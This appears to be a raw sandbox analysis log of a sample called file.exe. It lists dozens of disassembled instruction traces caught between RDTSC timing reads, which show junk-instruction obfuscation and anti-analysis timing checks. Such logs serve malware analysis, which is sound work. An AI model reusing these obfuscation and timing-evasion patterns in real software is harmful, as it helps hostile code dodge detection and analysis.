Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90251 second address: 4D902AD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB49551661Eh 0x00000008 and eax, 58BDF0E8h 0x0000000e jmp 00007FB49551661Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 jne 00007FB4955173DCh 0x0000001d jmp 00007FB495516626h 0x00000022 xchg eax, edi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FB495516627h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D902AD second address: 4D90309 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB49551230Ah 0x00000011 jmp 00007FB495512315h 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, edi 0x00000019 jmp 00007FB49551230Eh 0x0000001e call dword ptr [74E50B60h] 0x00000024 mov eax, 750BE5E0h 0x00000029 ret 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90309 second address: 4D9030D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9030D second address: 4D90311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90311 second address: 4D90317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90317 second address: 4D90338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000044h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB495512312h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90338 second address: 4D90347 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90347 second address: 4D9036A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9036A second address: 4D90408 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB495516626h 0x00000008 jmp 00007FB495516625h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 movzx ecx, dx 0x00000013 popad 0x00000014 push ebx 0x00000015 jmp 00007FB495516628h 0x0000001a mov dword ptr [esp], edi 0x0000001d jmp 00007FB495516620h 0x00000022 push dword ptr [eax] 0x00000024 pushad 0x00000025 movzx esi, di 0x00000028 pushfd 0x00000029 jmp 00007FB495516623h 0x0000002e jmp 00007FB495516623h 0x00000033 popfd 0x00000034 popad 0x00000035 mov eax, dword ptr fs:[00000030h] 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 mov esi, edi 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90455 second address: 4D90497 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB495512311h 0x00000008 jmp 00007FB495512310h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test esi, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB495512317h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90497 second address: 4D9049D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9049D second address: 4D90501 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FB505581500h 0x00000011 pushad 0x00000012 movzx ecx, di 0x00000015 pushfd 0x00000016 jmp 00007FB495512311h 0x0000001b and si, 2A56h 0x00000020 jmp 00007FB495512311h 0x00000025 popfd 0x00000026 popad 0x00000027 sub eax, eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FB495512319h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90501 second address: 4D90507 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90507 second address: 4D9050F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9050F second address: 4D90528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esi], edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB49551661Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90528 second address: 4D90565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FB49551230Dh 0x0000000b sub ax, DE76h 0x00000010 jmp 00007FB495512311h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esi+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov dx, DEFEh 0x00000023 mov ebx, 7901ED0Ah 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90565 second address: 4D9056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9056B second address: 4D9056F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9056F second address: 4D905A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b pushad 0x0000000c mov di, DA86h 0x00000010 popad 0x00000011 mov dword ptr [esi+0Ch], eax 0x00000014 jmp 00007FB49551661Dh 0x00000019 mov eax, dword ptr [ebx+4Ch] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FB49551661Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905A2 second address: 4D905E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esi+10h], eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FB495512315h 0x00000014 xor cx, 7D46h 0x00000019 jmp 00007FB495512311h 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 mov esi, 7C3F5CCDh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D905E4 second address: 4D90647 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB49551661Ah 0x00000008 adc esi, 512D69E8h 0x0000000e jmp 00007FB49551661Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov eax, dword ptr [ebx+50h] 0x0000001a jmp 00007FB495516626h 0x0000001f mov dword ptr [esi+14h], eax 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FB49551661Eh 0x00000029 sub si, 0778h 0x0000002e jmp 00007FB49551661Bh 0x00000033 popfd 0x00000034 push eax 0x00000035 push edx 0x00000036 mov dh, ch 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90647 second address: 4D906D4 instructions: 0x00000000 rdtsc 0x00000002 mov al, dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebx+54h] 0x0000000a jmp 00007FB49551230Ah 0x0000000f mov dword ptr [esi+18h], eax 0x00000012 jmp 00007FB495512310h 0x00000017 mov eax, dword ptr [ebx+58h] 0x0000001a pushad 0x0000001b mov cl, 85h 0x0000001d pushad 0x0000001e mov eax, edi 0x00000020 pushfd 0x00000021 jmp 00007FB495512315h 0x00000026 sbb ecx, 1DE25C26h 0x0000002c jmp 00007FB495512311h 0x00000031 popfd 0x00000032 popad 0x00000033 popad 0x00000034 mov dword ptr [esi+1Ch], eax 0x00000037 jmp 00007FB49551230Eh 0x0000003c mov eax, dword ptr [ebx+5Ch] 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FB495512317h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D906D4 second address: 4D90703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516629h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+20h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB49551661Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90703 second address: 4D90777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, E2D2h 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [ebx+60h] 0x00000010 jmp 00007FB495512312h 0x00000015 mov dword ptr [esi+24h], eax 0x00000018 jmp 00007FB495512310h 0x0000001d mov eax, dword ptr [ebx+64h] 0x00000020 jmp 00007FB495512310h 0x00000025 mov dword ptr [esi+28h], eax 0x00000028 pushad 0x00000029 mov cl, BBh 0x0000002b mov ah, dh 0x0000002d popad 0x0000002e mov eax, dword ptr [ebx+68h] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 movsx edi, cx 0x00000037 call 00007FB495512318h 0x0000003c pop ecx 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90777 second address: 4D9077D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9077D second address: 4D90781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90781 second address: 4D90878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+2Ch], eax 0x0000000e jmp 00007FB495516620h 0x00000013 mov ax, word ptr [ebx+6Ch] 0x00000017 jmp 00007FB495516620h 0x0000001c mov word ptr [esi+30h], ax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FB49551661Eh 0x00000027 sbb ecx, 03177998h 0x0000002d jmp 00007FB49551661Bh 0x00000032 popfd 0x00000033 movzx ecx, di 0x00000036 popad 0x00000037 mov ax, word ptr [ebx+00000088h] 0x0000003e pushad 0x0000003f call 00007FB495516621h 0x00000044 call 00007FB495516620h 0x00000049 pop eax 0x0000004a pop edx 0x0000004b mov ebx, eax 0x0000004d popad 0x0000004e mov word ptr [esi+32h], ax 0x00000052 pushad 0x00000053 pushfd 0x00000054 jmp 00007FB495516628h 0x00000059 sub eax, 7D682D88h 0x0000005f jmp 00007FB49551661Bh 0x00000064 popfd 0x00000065 pushfd 0x00000066 jmp 00007FB495516628h 0x0000006b adc ax, 0FE8h 0x00000070 jmp 00007FB49551661Bh 0x00000075 popfd 0x00000076 popad 0x00000077 mov eax, dword ptr [ebx+0000008Ch] 0x0000007d pushad 0x0000007e push eax 0x0000007f push edx 0x00000080 mov bx, 78C4h 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90878 second address: 4D90886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esi+34h], eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90886 second address: 4D90896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90896 second address: 4D908BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+18h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB495512310h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D908BC second address: 4D908C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D908C0 second address: 4D908C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D908C6 second address: 4D908E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 5BDA5233h 0x00000008 mov ch, DEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+38h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB49551661Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D908E6 second address: 4D908F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB49551230Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D908F8 second address: 4D908FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D908FC second address: 4D9093F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+1Ch] 0x0000000b jmp 00007FB495512317h 0x00000010 mov dword ptr [esi+3Ch], eax 0x00000013 jmp 00007FB495512316h 0x00000018 mov eax, dword ptr [ebx+20h] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A47 second address: 4D90A59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB49551661Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A59 second address: 4D90A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FB505580F68h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB495512319h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A84 second address: 4D90A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A88 second address: 4D90A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90A8E second address: 4D90AA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp-0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90AA6 second address: 4D90AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 28B707CEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90AB0 second address: 4D90BA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB495516622h 0x00000009 jmp 00007FB495516625h 0x0000000e popfd 0x0000000f mov ebx, ecx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov dword ptr [esi+04h], eax 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FB495516628h 0x0000001e xor esi, 56A68AA8h 0x00000024 jmp 00007FB49551661Bh 0x00000029 popfd 0x0000002a call 00007FB495516628h 0x0000002f pushfd 0x00000030 jmp 00007FB495516622h 0x00000035 or al, 00000038h 0x00000038 jmp 00007FB49551661Bh 0x0000003d popfd 0x0000003e pop eax 0x0000003f popad 0x00000040 lea eax, dword ptr [ebx+78h] 0x00000043 jmp 00007FB49551661Fh 0x00000048 push 00000001h 0x0000004a jmp 00007FB495516626h 0x0000004f nop 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007FB49551661Eh 0x00000057 sbb ch, FFFFFFF8h 0x0000005a jmp 00007FB49551661Bh 0x0000005f popfd 0x00000060 mov si, A22Fh 0x00000064 popad 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90BA2 second address: 4D90BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90BA6 second address: 4D90BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90BB4 second address: 4D90BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB49551230Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90BC6 second address: 4D90BCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90C8C second address: 4D90CAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512313h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FB505580D1Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CAF second address: 4D90CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CB3 second address: 4D90CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CB9 second address: 4D90CD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB495516629h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CD6 second address: 4D90CDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CDA second address: 4D90D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp-04h] 0x0000000b jmp 00007FB49551661Dh 0x00000010 mov dword ptr [esi+08h], eax 0x00000013 jmp 00007FB49551661Eh 0x00000018 lea eax, dword ptr [ebx+70h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB495516627h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D1F second address: 4D90D25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D25 second address: 4D90D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D29 second address: 4D90DA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 00000001h 0x0000000d jmp 00007FB495512316h 0x00000012 nop 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FB49551230Eh 0x0000001a or eax, 14977978h 0x00000020 jmp 00007FB49551230Bh 0x00000025 popfd 0x00000026 mov edx, esi 0x00000028 popad 0x00000029 push eax 0x0000002a pushad 0x0000002b mov cx, dx 0x0000002e mov bx, 87F2h 0x00000032 popad 0x00000033 nop 0x00000034 jmp 00007FB495512319h 0x00000039 lea eax, dword ptr [ebp-18h] 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90DA4 second address: 4D90DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB495516629h 0x0000000a and eax, 6C4F9E26h 0x00000010 jmp 00007FB495516621h 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90DDB second address: 4D90DE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90DE1 second address: 4D90DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90DE5 second address: 4D90E13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512313h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB495512310h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E13 second address: 4D90E22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551661Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E22 second address: 4D90E57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512319h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB495512313h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E57 second address: 4D90E74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516629h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90E74 second address: 4D90EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 call 00007FB495512313h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB495512312h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90EF4 second address: 4D90F50 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FB49551661Ah 0x0000000c or al, FFFFFF98h 0x0000000f jmp 00007FB49551661Bh 0x00000014 popfd 0x00000015 popad 0x00000016 mov ecx, esi 0x00000018 pushad 0x00000019 mov edx, esi 0x0000001b pushfd 0x0000001c jmp 00007FB495516620h 0x00000021 and ah, FFFFFFF8h 0x00000024 jmp 00007FB49551661Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov dword ptr [esi+0Ch], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 call 00007FB49551661Bh 0x00000036 pop ecx 0x00000037 mov esi, ebx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90F50 second address: 4D90FE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB495512310h 0x00000008 pop eax 0x00000009 mov bx, D546h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov edx, 74E806ECh 0x00000015 jmp 00007FB49551230Dh 0x0000001a sub eax, eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FB49551230Dh 0x00000023 adc eax, 716E6EA6h 0x00000029 jmp 00007FB495512311h 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007FB495512310h 0x00000035 add eax, 513E9448h 0x0000003b jmp 00007FB49551230Bh 0x00000040 popfd 0x00000041 popad 0x00000042 lock cmpxchg dword ptr [edx], ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FB495512315h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90FE5 second address: 4D9105F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov eax, edx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c pushad 0x0000000d movsx edi, si 0x00000010 pushfd 0x00000011 jmp 00007FB49551661Ch 0x00000016 adc eax, 4545C908h 0x0000001c jmp 00007FB49551661Bh 0x00000021 popfd 0x00000022 popad 0x00000023 test eax, eax 0x00000025 jmp 00007FB495516626h 0x0000002a jne 00007FB505584CC5h 0x00000030 jmp 00007FB495516620h 0x00000035 mov edx, dword ptr [ebp+08h] 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FB495516627h 0x0000003f rdtsc
